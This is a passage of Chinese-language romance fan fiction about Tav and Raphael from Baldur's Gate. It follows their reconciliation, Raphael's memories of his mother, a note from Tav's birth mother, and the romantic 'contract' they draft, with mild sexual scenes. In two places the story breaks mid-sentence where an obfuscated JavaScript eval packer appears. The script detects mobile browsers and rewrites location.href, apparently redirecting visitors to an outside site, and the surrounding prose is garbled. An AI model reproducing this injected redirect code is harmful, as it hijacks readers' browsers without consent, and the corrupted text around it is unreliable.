虽然今天睡了很长时间,但大概是因为早上做得太过,塔夫其实仍然有些疲倦,想必拉斐尔也是如此。她这次主动更像是一种安慰与表态,见目的达到,便吻吻拉斐尔,把主导权让给他。 结果拉斐尔根本就是夸大其词。 塔夫最后只得无奈推他说他骗人,拉斐尔脸颊仍然涨红,声音也低哑动听,语气细辨之下却有些委屈的意思:“刚才是真的。”不过他没再多做。 重新躺在床上,拉斐尔用塔夫喜欢的方式从她身后将她环在自己怀里。两人似乎都很放松,呼吸慢慢变成同一种悠长的节奏,但彼此都清楚对方并没有入睡。 “你……感觉还好吗?”拉斐尔手指抚上她的头发,终于开口问,“你……在想什么?” “我不知道。是真的不知道。而我在想是不是这样什么都感觉不到会更好。”塔夫后背更紧地贴着拉斐尔胸膛, “这样就不会感到难过,也不会感到生气,因此不会疏忽适当的自我控制伤到别人。但我同时又觉得,对别人的感觉视而不见是一件很冷漠也很傲慢的事。” “你仍能感到负疚。” “嗯,这样说来大概是的。但负疚是一种感觉吗?那对我来说更像是一个声音,告诉我我做得不对。可我并不是自愿变成这个样子,会忽然什么都感觉不到。” “也许那是个提醒,你的身体在告诉你你很累了,需要休息,于是便暂时替你关闭一些感知。” “类似主任医师的意思?” “嗯。让注意力回归自己有机会照顾自己,不代表你冷漠或做错了什么,只是为健康着想。”拉斐尔顿了顿,“而且,这也对其他人表达了更多信任。” 塔夫微微皱起眉:“更多信任是什么意思?” “相信一个人有足够的能力、也应该有责任解决自己的麻烦,如果他无法做到并因此责备你居然不对他感同身受出手相助,那是他的问题。” 塔夫沉默好一会:“我……不确定。” “你对自己便是如此要求。独立。不向别人请求帮助。”拉斐尔几乎是立刻回答。 “而你刚才询问我的感受,开启了我们的整个对话。”塔夫针锋相对地反驳后自己先笑了,“我知道你的意思。我觉得大概还是要看情况吧,我毕竟可是医生。不过这的确是另一种角度。”她转过身环住拉斐尔,“谢谢你。” 拉斐尔紧紧拥住她,过了一会才开口:“和我相比,也许你更加情绪化。” 塔夫又笑了:“我很肯定这不是一个‘也许’。” 拉斐尔也笑着在她头发上吻了吻:“我知道你说过你不太喜欢自己这一点,这意味着你更容易共情,更容易愤怒,也因此更容易——我不认为是更容易伤到别人——而是更容易感到受伤,所以你才会用愤怒保护自己。但你也能够感受到更多其他细微美好的情绪,也可以让身边的人也一起看到体会到更丰富更热烈的情感。而我就是那个幸运的人……至少曾经是。” “现在也是。”塔夫抱得更紧,“我真的很想念……和你这样聊天,拉斐尔。”她轻声说,“我真的很想你。” “我也是。我也很想念你。”拉斐尔嘴唇重新贴在她头发上,“我爱你,塔夫。” “我也爱你,拉斐尔。” …… 第二天醒来后塔夫没有立刻起床,望着拉斐尔的睡颜出了会神。 她知道自己想要和拉斐尔重新在一起,但仍然必须面对几个难题——有的甚至是再次面对当初没能成功解答的难题。 分手时的主要矛盾恐怕仍在。 对她来说,她希望自己首先是塔夫医生,不过正式传统的婚姻对拉斐尔来说十分重要。 两年前分手得突然。 当时她和拉斐尔都处在疲惫和压力中,梅菲斯特大概也借机从中作梗,她没能清楚地表达自己,拉斐尔感到被拒绝被轻视,结果两个人都很愤怒,事情急转直下。 而除了这两件必定要再历的事情,她还能想到更多:昨天,前天,以及过去整整两年。 听上去并不容易,甚至让她感到有些恐慌。 也许她和拉斐尔都变了。 不过拉斐尔总是有办法,只要他也仍想和她在一起。 那么,他想吗? 塔夫忍不住微笑起来。 拉斐尔就是在这时睁开眼睛,怔怔望着她片刻,又重新合上。 塔夫挨到他怀里吻吻他的嘴唇:“想要再睡一会?” “我以为我还在梦里。”拉斐尔伸手环住她,“我昨晚梦见了你。”他手臂更用力些,“不仅仅是昨晚。” “我也是。” 对话便如此容易地从两人的梦开始了。 …… 拉斐尔已经提前结束法学院的课程,塔夫有四周休假,接下来几天二人几乎每时每刻都黏在一起。 过去两年的空白很快便得到填补,哪怕他们都忍不住向对方追问更多细节,更常常在这过程中聊着聊着又抱在一起回到床上。事后相拥着,或者继续刚才说到一半的内容,或者换一个那个时刻想到的话题,并不厌其烦地与对方分享自己的感受。 …… 当初分手的缘由是由塔夫先提到的。 不过她一开始只是好奇拉斐尔是否知道她在那家医院实习。 “是的。”拉斐尔沉默许久。 他其实拜托了一对矮人护士姐妹悄悄关照塔夫,得到的反馈始终是她干劲十足,看上去非常喜欢这份工作,也很适合做医生。 这应该是好消息,他应该为她感到高兴才对。然而,他感到更多的却是难过。 半年前,他为一件事开始经常离开博德之门,没有及时发现塔夫的异样。虽然原因之一也是塔夫硬撑着工作,在医院始终表现如常,可他仍觉得这是自己的失败与无能,就更加无法说出口。 于是塔夫只知道拉斐尔果然是有意回避。 除了担心打扰她,害怕他见到她会失控(说到这里时塔夫吻了吻他),校友日那次相遇后,他还意识到她想要彻底放下过去。也许他应该接受她的决定,哪怕当初提出分手的明明是他自己。 “但你特意去了屋顶上的猫。”塔夫说,“又把地址塞给我。” “我……果然无法控制自己。哪怕真的分开,我也希望你能够需要我。”拉斐尔表情有些苦涩,像是承认这点让他感到困难。对他来说,单方面要求成为朋友的要求或声明实在太过幼稚纠缠,甚至比精灵之歌那晚还要令人尴尬。他几乎有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850184|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自暴其短的羞耻感, “是我需要你。”他声音低得更多,“我需要你需要我。” 这种绕来绕去的表达果然非常拉斐尔,塔夫思索片刻才说: “也许我并不总是需要你为我具体做些什么,但我始终需要你,比如我们现在聊天,甚至是,知道你希望我需要你。 “校友日那天可能也是如此。虽然我的确决定放下了,但心里一定是还不想放下的,所以才在你面前郑重其事地告别过去。我需要你阻止我。”她说着也有些难为情起来,“我一直留着那张支票呢。” 拉斐尔忍不住亲吻她。 二人稍稍分开后,塔夫又笑着说:“事实上,那天回去之后,我好久没做的梦又重新开始了,还有相当连续的新发展。” 拉斐尔立刻会意。在塔夫的描述和指挥下,两人身体力行重现一遍梦境。 不过出力的主要是拉斐尔。 事后塔夫舒服地躺在拉斐尔臂弯,眼睛始终没有睁开。拉斐尔则轻声继续刚才的话题。他没有亲自去医院找她,还有另一个更重要的原因,他不希望她受到影响,再次被称呼为:“拉斐尔的什么人。” “当我说不想成为‘拉斐尔的女朋友’时,并不是想要和你分手。” 塔夫微微侧身抱住拉斐尔,“我也知道你从来没有把我当成你的什么附属或物件,而是……”她手指下意识在他胸口抓着,仍然没有办法捕捉到那个词,最后只说,“我。” 听上去有种令人沮丧的模糊,却同样令人感动。塔夫抿抿唇,又继续说, “我后来也想过自己是不是有些矛盾,一方面不希望我和你之间的关系用什么标签来定义,一方面又在意别人是怎么称呼我的,那不同样是一种标签或看法吗。 “我其实一直没有太想明白甚至刻意不太去想。但我知道,至少现在,这对我来说仍然很重要。” “也许这并不矛盾。”拉斐尔手臂收紧,抱着她很久才说,“我爱你,塔夫。” “我也爱你。”塔夫立刻对拉斐尔说。 然而她心里似乎有些隐隐不安,连忙把贾希拉的比喻拿出来说明一番,“我一直希望身边那个一起旅行的人是你。” “我也是。”拉斐尔沉默片刻,终于说,“我那时提出分手,并不只是因为……”他再次陷入沉默。塔夫贴在他身前没有说话,几乎要睡过去,拉斐尔才又低声说,“……还是因为我母亲。” 塔夫没有催促,接下来有一周多,拉斐尔断断续续讲述了母亲的事。 一开始没有太多情绪。别人的看法,自己的记忆,父亲的叙述。有的时候相同,有的时候完全相反。时间上也并不总是连续,有的时候只是一副画面或者一种感觉。有的时候他干脆抱着她出神,也开始时不时需要回上城区。那个时候塔夫会顺手翻看泽希诺当初推荐的好几本故事,还和影心见了一面。 “真搞不懂你是怎么想的!” 影心最后还是安慰地拥抱塔夫,“不过我们都会变得更好的。应该说,我们都已经在变得更好。” 拉斐尔的讲述也更加流畅起来。 他说到家族的契约力量,以及很多时候必须要保守的秘密,而那如何又让母亲心生不宁感到痛苦。不过他偶尔会突然停下,带着一种相当冷漠甚至嘲弄的语气说:“她的痛苦并不是来自现实本身,而是如何诠释现实。” 那时他听上去很像梅菲斯特,却更让塔夫想起他曾对《西弗斯》的评价,觉得其中似乎也蕴含着某种能够带来幸福的力量。 拉斐尔怔了怔,认同塔夫。而且他的确理解母亲的痛苦。 他曾很多次猜测母亲在想什么,更想要知道塔夫的一切,甚至恨不得能够控制她的想法。既然母亲深爱父亲,想必也是如此。 直到她…… 拉斐尔还是没能说出口母亲的丑闻,以及他骤然知道这些时所感受到的冲击。 最后,他只是对塔夫说:“我不希望看到你变成我的母亲。也许还因为我忽然发现自己有很多父亲的影子,和他没什么不同。所以那时我坚信,我离开你,对你来说是更好的选择。” 不可避免地,还有被拒绝的打击,被质疑的愤怒,被刺伤的难过,种种情绪突然混在一起,让他一时不知道怎么再继续面对她。 或许这些全部是借口,因为他更曾在好几个瞬间感到无力以及由此而生的不知所措和恐惧。哪怕他可以解释自己所怕的是伤害到塔夫,但他的做法和结果并没有说服力。也许表面的勇敢放手和尊重,只是为了掩饰其下选择放弃和逃跑的懦夫行为。 而无论原因到底是什么,有一件事他很确定,把塔夫那样推开是他犯下的最大的错误。她值得更好的对待。最近过去的每一天,他都无数次感到不可思议,以为自己在做梦,塔夫原谅了他,甚至在他没有解释前就选择原谅了他。 现在她知道了原因,还会做出相同的决定吗。 拉斐尔垂着眼睛坐在沙发上,像是在等待什么审判。 塔夫知道拉斐尔虽然表现得镇静,但这一周情绪其实很敏感。她站起到他身前,俯下身,用所能想到的最温和的口吻和方式说:“你和你父亲是不同的人,你的做法就说明了这一点。”她伸手环住他,“虽然我希望由自己来决定什么对我来说是更好的,但是我做决定的过程中,也非常需要非常欢迎你的帮助和陪伴。因为这也是我们两个人的事。” 拉斐尔掀起睫毛飞快瞧她一眼,立刻回拥住她:“我知道了。”他忽然又张开腿把她压进怀里,双手揽在她腰间,头靠在她胸口。塔夫一低头就能亲到他柔软的头发,于是她亲了亲,接着干脆把脸颊贴在他头顶上。 两人这样拥抱了好一会,拉斐尔再次开口时带上些鼻音: “你想要知道些……关于你亲生母亲的事吗?” . 128.契约 塔夫没有说话,慢慢坐回拉斐尔身旁,手指才开始有些发抖。 拉斐尔握住她的手,搭在自己腿上。 塔夫垂下眼睛望着二人交握的双手,开口时却先是问:“你是怎么找到的?” 原来,四年前她提过后,拉斐尔便一直在寻找她亲生母亲的踪迹。 不过那毕竟已经是二十年前的事。 塔夫自然早记不得医院和许多福利院的名字,只记得冬天很冷。卡菈克也差不多,只记得妹妹当初很瘦小所以显得眼睛格外大。贾希拉对此的态度则是如果塔夫自己问起才会告诉她,而且她也只清楚最后一家福利院的名字。 好在成为家族继承人后,拉斐尔拥有更多资源和力量。也算是幸运,其中一家福利院正在卡尼亚家族的领地上。他过去半年时间回去数次,终于在两个月前找到一些蛛丝马迹,又在一个月前拿到塔夫母亲的—— “一封便笺。” 拉斐尔声音越来越低,“我没有询问你的意思,你可能不希望我这么做,也许这并不是一种‘幸运’。但是现在……”他顿了下,再开口时略显滞涩,“这应该是你的决定,是否想要知道里面写了什么。” 塔夫怔愣一会才重新望向拉斐尔。他表情有些凝重。 她完全猜不出母亲可能说了些什么。 也许拉斐尔不知道,也许是坏消息,但看上去大概不是好消息。 塔夫忽然不寒而栗,狠狠打了一个哆嗦:“拉斐尔……” “我在。”拉斐尔握紧她的手,“我会在你身边。” “我们……”塔夫咽了口口水,“不会是有血缘关系的亲姐弟吧。” 拉斐尔陷入静止,过了好半天只眨了一下眼睛。 塔夫更加确信,哆哆嗦嗦地继续推测:“我们的母亲想要嫁给贵族,抛弃我后同你的父亲在一起又有了你。或者,我其实是那个没有……” 拉斐尔猛地打断她: “首先,我和你同龄。 “其次,我的母亲是提夫林。 “最后,我劝你少看点泽希诺推荐的故事吧!” . 塔夫:哎呀这不是放假正好有空嘛。 拉斐尔:把脑子都看坏了! 泽希诺:狗血安利计划通。 . 不过这么一打岔,气氛倒是一下轻松起来,塔夫很快做出决定。 她想知道。 . 拉斐尔取来便笺。 只有小小一张羊皮纸,对折两次。 塔夫盯着拉斐尔掌心那张便笺一会,猜测他大概知道其中内容。但她仍是要拉斐尔坐在自己身旁后,这才接过又展开羊皮纸。 羊皮纸上,几行字用深蓝色墨水写就。笔迹秀丽工整,和她的有些相似: 塔夫,我亲爱的女儿,希望你会遇到新的爱。 他会代替妈妈爱你, 他会感激你的出生, 他会重视你的幸福, 甚至胜过关心他自己, 无论那选择多么痛苦。 ——就像妈妈一样。 . 塔夫读了一遍,翻过羊皮纸再翻回来又读一遍,似乎想用目光在字迹上烫出几个小洞,始终不发一言。 拉斐尔重新握住她的手。 “很动人的文字。”塔夫终于开口,又立刻清了下嗓子。 “因为我不喜欢‘被抛弃’这种想法,曾猜测她也许是出了什么意外,所以没办法回来接我,并不是真的想要丢下我。但后来不知道为什么,也许是女儿对母亲的直觉,也许是希望她某天会突然出现对我说她来迟了,或者只是单纯希望她好好的别出意外……”塔夫顿住。 拉斐尔轻轻嗯了一声,示意他在听。 但塔夫没有继续说下去,下意识地摩挲着手中的便笺:“笔迹很新,是抄写件吗?”不等拉斐尔开口她已经自问自答道,“是她亲笔写的。所以她不想见我。这就是她的选择和决定。” 拉斐尔伸长手臂环住她,手掌盖住她整个肩头,很温暖:“她可能只是没有做好准备。” 塔夫咬住下唇,过了会突然说:“你有没有告诉她,我还有一年就要成为医生了。而且是全科医生。现在正在博德之门最好的医院实习。”她又猛地看向拉斐尔, “或者,你有没有告诉她,你的父亲是卡尼亚大公,你深爱着我,非我不娶。只要我点头,你所拥有的一切未来也都是我的。” 拉斐尔微笑着扬起眉毛,似乎被这个说法极大地取悦了。 塔夫倒有些不好意思起来。拉斐尔想必是试图说服母亲的,也许是收到影心的担忧后匆匆赶回,一时只先拿到几行字。她甚至不无好笑地想,说不定自己性格中的某些坚持甚至固执正是来自母亲: “难怪你那天是那么对我说的。我‘不能’从别人身上获得她的爱。” 拉斐尔敛起笑容:“塔夫。我当时的意思是…… “你当时说的很对。”塔夫却说了下去,又更像是自言自语, “尽管我不愿承认,但我一直会想她,也一直希望或者幻想她其实是爱我的,幻想她会因为不得不与我分开而感到痛苦。也许我只是害怕去意识到她可能并不爱我,至少不是我所期望的那种。 “可是这真的很奇怪不是吗?明明过去那么久,哪怕我遇到了再好不过的妈妈和姐姐,也得到很多关心和爱,却还是想要追求小时候没有得到的她的爱,甚至可以说直接影响了我的人生决定。 “爱和爱之间难道是有区别的吗?为什么她的对我来说这么重要?可这又多不公平啊。小的时候我并没有能力决定要经历什么,那些事并不是我能控制的,却反过来控制了我。 “这简直……太令人难过了,还让我觉得自己很可怜也很没用,真是太讨厌了。” 她感到脸颊湿润,飞快擦了下:“不过我可以重新感觉到难过,这倒算是件好事。” 拉斐尔环住她:“这的确很不公平,但并不是你的错。”塔夫忍不住又掉下眼泪,这次没去擦,蹭在拉斐尔肩膀上。 拉斐尔把她搂得更紧:“而你成为让所有人都骄傲的医生,也不仅仅是因为她,更多的是因为你自己的努力。她也许是不知道怎么去爱你,但那仍不是你的错,也不代表你不值得或者不会被爱。已经有更多人在代替她爱着你,贾希拉、卡菈克、我。” 他停顿片刻, “不过爱和爱之间大概是有些不同的。比如我对你的爱,就比其他人更多更热烈也更亲密。” 塔夫破涕而笑,在拉斐尔背上用力抓了下才说:“我从来不觉得你是在代替什么人爱我,拉斐尔。”她想了想又说,“我也不会成为你的母亲。” 拉斐尔始终拥抱着她,偶尔在她头发上吻一吻。过了会,等塔夫稍稍平静下来后,他低声说: “那天,我很抱歉。” “嗯?”塔夫反应过来,“我那天也对你说了难听的话。对不起。而且你说的其实没错,我可能真的……” 那些话也许真实却仍然刺痛,塔夫不愿再复述,从拉斐尔怀里轻轻挣脱,靠回沙发上,最后只道, “虽然我还不知道对以后会有什么影响,但意识到自己有这种想法,大概就像是西弗斯承认痛苦存在,应该不是一件坏事。” 随着话说出口,仿佛就能够察觉出些微变化,塔夫重新看向拉斐尔,以为自己需要些努力,但很自然地就弯起嘴角:“所以我需要谢谢你才是。” “还有,”拉斐尔清了下嗓子,微微偏过脸,“那之后的……事。” 塔夫脸颊慢慢涨红,拉斐尔刚有转过头的迹象,她就立刻把他的脸推到另一方向不许他看自己:“你是很过分!虽然我同意了,但那肯定是因为你诱导了我。” 拉斐尔望着另一边,却也忍不住弯起唇:“其实,我一开始只是观察并激发你的……” “就是你干的!你的全责!” “都是我干的。我很过分。” “而且,怎么能那么字面意义上的理解和操作!” “真的是太字面了。” “咳。”塔夫脸更加发烧,但话还是得说,“不过我现在记得最清楚的只有最后,之前那些更像是铺垫,所以回忆起来还……挺刺激的。而且这是有理论依据的叫作峰终定律,不是我特意说来安慰你。” “既然你喜欢的话,想再试……” “你别真的拿来当借口或者装作之前的没发生啊!” “对不起。”拉斐尔终于转过头望着她。 “没关系。”塔夫吻吻他又笑起来,“不过,你想不想体验一下?真的挺刺激。很~特~别~呢。” “……” “嘿嘿!” . 拉斐尔同意了。 可惜塔夫没能执行成功。 除了她需要补充相关知识也许还需要准备相关工具所以这次只能靠拉斐尔自己忍住外,他刻意喘得很动听,不需要刻意就脸颊脖子胸膛红成一片,最后又哑着嗓子打起感情牌: “塔夫,我们最开始的两个月,我一直是这样忍过来的……唔嗯……还有过去两年……哈啊……你曾对我说过,就在这里,这张床上……嗯呜……我已经不需要再忍耐了……” 既然把她的原话都搬出来了,那、那这次就暂先一起吧! …… …… 假期过大半后,二人终于还是说到了梅菲斯特。 尽管这位卡尼亚大公的名字并不是这几周来首次出现,却是第一次成为他们话题的中心。 “我父亲几次介入,都是对我的决定有所不满,并波及到你。” 塔夫觉得拉斐尔这么说是为了宽慰自己,但心里更加怜惜和感动,没有打扰或打断他。 从最初与她因为小事签订契约,过分惩罚诺亚(塔夫用力想了下才记起这是酒保),拒绝慈善舞会要求,反对农业合作时态度太过高调,到最后暗中阻挠戈塔什封爵…… 梅菲斯特表明的态度始终是,他并不在乎对方是塔夫或是其他什么人。但如果拉斐尔没有达成他的期望和要求,甚至让感情严重影响到判断,那一定会存在后果。这是梅菲斯特自诩理智的傲慢与自负,却也是可以利用的地方。拉斐尔过去两年多次试探父亲底线,找到那个可以平衡的范围。 不过拉斐尔没有这样直白地告诉塔夫。 至于他曾以为是父亲的一个失误之举,现在看来是梅菲斯特有意为之。 无论是魔鬼遵守等级制度并为己所用的天性,或者是生于斯长于斯的耳濡目染,成为家族正式继承人后,他更直接地体会到了权势的力量。 而与塔夫分手前的近半年时间里,除了承担更多责任,他也越发迷恋那几乎令人上瘾的掌控感和支配感。于是在求婚传闻出现后,他当时自然地选择了“逼婚”而不是平等的对话,也更加无法接受拒绝。 “那是我们分手的导火索,我不会否认,也不会忘记。”拉斐尔顿了下又强调,“我不会再让类似的事发生,因为魔鬼的记性很好。” 塔夫忍不住双手拍上他脸颊:“这种时候也能夸口一番。” “并不是自夸。”拉斐尔微笑覆住她的手,“我只是在阐述一个事实。” 塔夫手指摸摸他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“然而这意味着……”拉斐尔垂下眼睫,“我无法娶你。” 剧团排练时塔夫无数次听拉斐尔说过这次台词,此刻居然生出些怀旧之情,忍不住微笑起来:“那刚刚好,我没有结婚的打算。” “可这对我来说并不是一个选择。”拉斐尔表情慢慢变成自责和无力,“如果你未来改变主意希望结婚,但只要你仍想要成为医生,或者做出一番自己的事业,我还是无法娶你。而且,我仍希望和你结婚。” 塔夫沉默片刻,用贾希拉的方式问:“如果我们能够一直在一起的话,为什么结婚对你来说还会这么重要?” “因为我希望有能力给你更稳定、更可靠的承诺。”拉斐尔顿了下,“我也向往这些。更具体、更实质的某种形式,哪怕只是一张纸。” “影心和哈尔辛有开放关系合约,我们也可以有一份,非开放的。”塔夫之前便想过这件事,声音越来越轻快,“如果你希望合约更可靠,我们可以签订你的正式的契约,就像我们最开始那样!” 拉斐尔低声说:“同一个人,我只能签订一次契约。” 塔夫怔愣。 拉斐尔又说:“不过,我们之间的契约始终没有终止。” 塔夫忍不住眯了眯眼睛。 拉斐尔轻咳一声:“契约里只说了校友日,并没有明确规定是哪一年的校友日。” “原来在这里!”塔夫磨着牙扑了上去,“我当初就觉得有哪里不对!” “谢谢你夸赞我的先见之明。”拉斐尔任她捶打呵痒,笑着继续说,“而多亏我当时的棋高一着,我们现在仍可以修正内容,继续我们的——”他打了个响指,手里忽然多了一卷羊皮纸, “——契约关系。” “契约关系。”塔夫下意识重复一遍,“我喜欢这个说法。”她兴高采烈起来, “我很喜欢!一个崭新的、只属于我们的关系!” 拉斐尔亲吻她:“是从最开始便一以贯之的、未曾改变的关系。” …… 雨歇云收,塔夫懒洋洋窝在拉斐尔怀里,继续和他有一搭没一搭地讨论起来更像是相爱宣言的契约条款。 拉斐尔有很多灵感和想法,而且显然很多是二人那次分手导致的后怕甚至创痛。塔夫心里怜爱不已,有些哪怕她觉得没有必要的形式,也都很快同意了。 “承诺与对方交换并随身携带一个爱的信物(比如戒指,被塔夫改成指环),视为彼此陪伴的象征。” “承诺如果出现重大分歧,不轻言放弃,在一定冷静期后给彼此至少三次坦诚讨论感情的机会。”(拉斐尔又立刻改成十次,并给冷静期添上不超过一周。塔夫没忍住笑着白他一眼,不过都同意了。) “承诺尊重对方的长远目标,并接受对彼此梦想的支持(包括心理上和经济上)。” …… 后来慢慢变得更加具体,更加事无巨细: 要过哪些纪念日、每年旅游的次数、每月约会的次数、每周做.爱的次数…… 而且每一条,拉斐尔解释起来都有理有据,引经据典,头头是道:“根据这项研究和那项研究,做.爱频率与年龄以及对关系的满意度呈现如此如此的趋势,再另外考虑我们的特殊需要……” “等一下,你不会是早就准备好了这些吧。”塔夫越来越回过味,“还有之前整个对话的方向,不会也是你从一开始就有意引导的吧。” 拉斐尔明显一顿,又立刻摆出沉思的表情,羽毛笔尾羽点在下巴上: “承诺即使在争吵中,也仍然努力相信彼此的爱与初心,避免因为偏见变成对对方的攻击……” “拉斐尔!我们可是还在讨论呢!我也还没签名字呢!!”塔夫顿时又好气又好笑,毫不客气地人身攻击,物理上兼口头上, “你这个傲慢狡猾的魔鬼!!!” 尽管如此,她还是爱他。 “我知道。”仿佛能够听到她的想法,拉斐尔笑着抱住她,“我也爱你。” ——完——